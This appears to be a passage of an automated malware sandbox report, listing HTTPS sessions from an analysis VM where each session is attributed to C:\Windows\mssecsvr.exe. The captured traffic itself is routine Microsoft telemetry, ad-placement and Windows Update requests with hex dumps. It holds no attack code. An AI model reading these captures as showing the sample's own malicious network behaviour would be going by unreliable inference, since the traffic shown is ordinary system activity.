Ascii: ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/app

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49718	20.40.136.238	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:43 UTC	1	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&ctry=US&time=20220720T130532Z&lc=en-US&pl=en-US&idtp=mid&uid=b029da70-c67b-4a7e-9bd5-517f7e302ed9&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=74993b9490654fd19088c8cbe16dd7f8&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1610953&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1610953&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32250&sc=6 Cache-Control: no-cache MS-CV: 4PoDHLTDLkyF8Keq.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 04:05:43 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: kxuqzh0gXjLm33ViytIypxY9gnp8QR1NG2ZIgqOgYSBFbwB2P6DwJeI3FPQK+/gwUQxu0YaQFsJSmH98L4aU+EJHKJHl2/WnLMGcKFexpufKL6RSZ84gxtn9tgilhms6ra3x4xwg3MXgrJWtVlDdrRsm7ADBY3mzncI4rtN2/EJr1uUy/74QuH5yd91guXvs3iRkEipTTqndRy3NVtDwtiusRLSSQ0eXy5i7r80RzwzNC2WyaIWs/8m/fI5WCoAhKQS9GT+/DUHUZA5E8sTSPBzaEv/mPXMR+7PY8QpdMPw4soy9NFLHHsjXleWRIHTDSvH/wV1+yodMwUhEByL8ow== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:05:42 GMT Connection: close
2022-07-20 04:05:43 UTC	3	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 30 38 3a 30 35 3a 34 33 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T08:05:43"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49731	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:05:49 UTC	124	OUT	GET /image/apps.40093.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.e6964d6a-18a4-4746-9238-9f0acc233a65?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 04:05:49 UTC	124	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 7669 Content-Type: image/png Last-Modified: Thu, 24 May 2018 00:36:00 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTJCMkI1MzM" MS-CV: zKJ18ukIb0aTWgjG.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 04:05:49 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 04:05:49 UTC	125	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 1d af 49 44 41 54 78 01 ed 9d 09 74 5d c5 79 c7 3f e9 69 df 17 5b 96 65 c9 bb 83 01 03 61 5f 62 02 04 43 ba a4 a5 24 69 9a e6 94 93 90 a6 69 d2 94 b4 64 21 4b 4f 9b e4 34 74 0b 25 6c a7 14 92 d0 24 27 10 92 1c 5a 48 a0 98 10 16 1b c2 c1 36 36 c6 36 d8 18 cb 96 6c c9 5a 2c 6b 7f d2 d3 f2 f4 3a 73 65 2d f7 e9 5d 57 cb 7d d2 cc bb bf 39 47 bc 3b 77 ee 9d f9 e6 f7 0d 7f cf 9d 3b 77 26 2d 54 79 69 4c 08 10 80 00 04 2c 20 90 6e 81 8d 98 08 01 08 40 c0 21 80 60 d1 10 20 00 01 6b 08 20 58 d6 b8 0a 43 21 00 01 04 8b 36 00 01 08 58 43 00 c1 b2 c6 55 18 0a 01 08 20 58 b4 01 08 40 c0 1a 02 08 96 35 ae c2 50 08 40 00 c1 a2 0d Data Ascii: PNGIHDR,,y}usRGBIDATxt]y?i[ea_bC$iid!KO4t%l$'ZH666lZ,k:se-]W}9G;w;w&-TyiL, n@!` k XC!6XCU X@5P@

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	52847	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:51 UTC	6911	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130727Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:52 UTC	6912	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 556e7530-0e39-47f5-974f-9658697b0d3f Date: Wed, 20 Jul 2022 04:07:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	52850	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:52 UTC	6912	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130728Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:52 UTC	6912	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: e48dc0ff-4ea3-4c80-adf8-f4c0b6e1cef0 Date: Wed, 20 Jul 2022 04:07:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	52849	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:52 UTC	6912	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:52 UTC	6914	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: f19b4912-4a77-45c0-ad1f-46e9ce05a7f8 MS-RequestId: b1d75e9b-6d67-49b5-9d30-51f79f25ed20 MS-CV: KTvLvyqiRkSo8CHq.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:51 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:52 UTC	6914	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:52 UTC	6930	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:52 UTC	6946	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	52874	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:52 UTC	6913	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=cb427c3110944a4099abc709f1b248ce&time=20220720T130729Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:52 UTC	6913	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0961a0cc-40e9-4522-a6f3-e625c2c79c83 Date: Wed, 20 Jul 2022 04:07:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	52906	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:52 UTC	6949	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=553dbdc64d29476db2af5b4ccff6d1fb&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T130729Z&asid=cb427c3110944a4099abc709f1b248ce&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 04:07:52 UTC	6950	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 9ebe991a-e019-4514-b2c9-5fcf4fc90758 Date: Wed, 20 Jul 2022 04:07:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	52908	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:53 UTC	6950	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:53 UTC	6950	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 9c7e010f-8039-414e-9da3-a53ab14cbd28 MS-RequestId: 9d87bd24-3ccf-44e6-b540-8b3fab88a5d9 MS-CV: 7inqohPBAkOHxGvc.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:52 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:53 UTC	6951	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:53 UTC	6966	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 04:07:53 UTC	6982	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	52966	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:54 UTC	6986	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1521 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 04:07:54 UTC	6986	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 39 34 38 39 39 34 35 36 36 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 39 39 42 41 32 37 36 45 30 32 31 45 34 33 32 31 38 42 33 34 30 44 46 31 32 45 43 43 30 33 37 32 26 41 53 49 44 3d 63 30 33 35 61 63 61 61 30 33 33 32 34 37 39 34 62 66 62 35 32 31 39 39 61 34 63 30 31 36 31 61 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 31 33 30 37 31 35 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 30 34 30 36 33 36 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 30 32 41 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=948994566&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=99BA276E021E43218B340DF12ECC0372&ASID=c035acaa03324794bfb52199a4c0161a&TIME=20220720T130715Z&SLOT=1&REQT=20220720T040636&MA_Score=2&PERSID=02A
2022-07-20 04:07:54 UTC	6987	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 04:07:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	52964	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 04:07:54 UTC	6988	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=1+aFtxXWNFcUOxL&MD=92Yr2Nl7 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 04:07:54 UTC	6988	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 02313120-7d9c-41d9-b5e2-2a0db88816a0 MS-RequestId: a879079b-61e8-4760-bd08-66903f4d02ff MS-CV: FDNaa2g/JkqdNxl8.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 04:07:54 GMT Connection: close Content-Length: 35877
2022-07-20 04:07:54 UTC	6989	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 04:07:54 UTC	7004	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
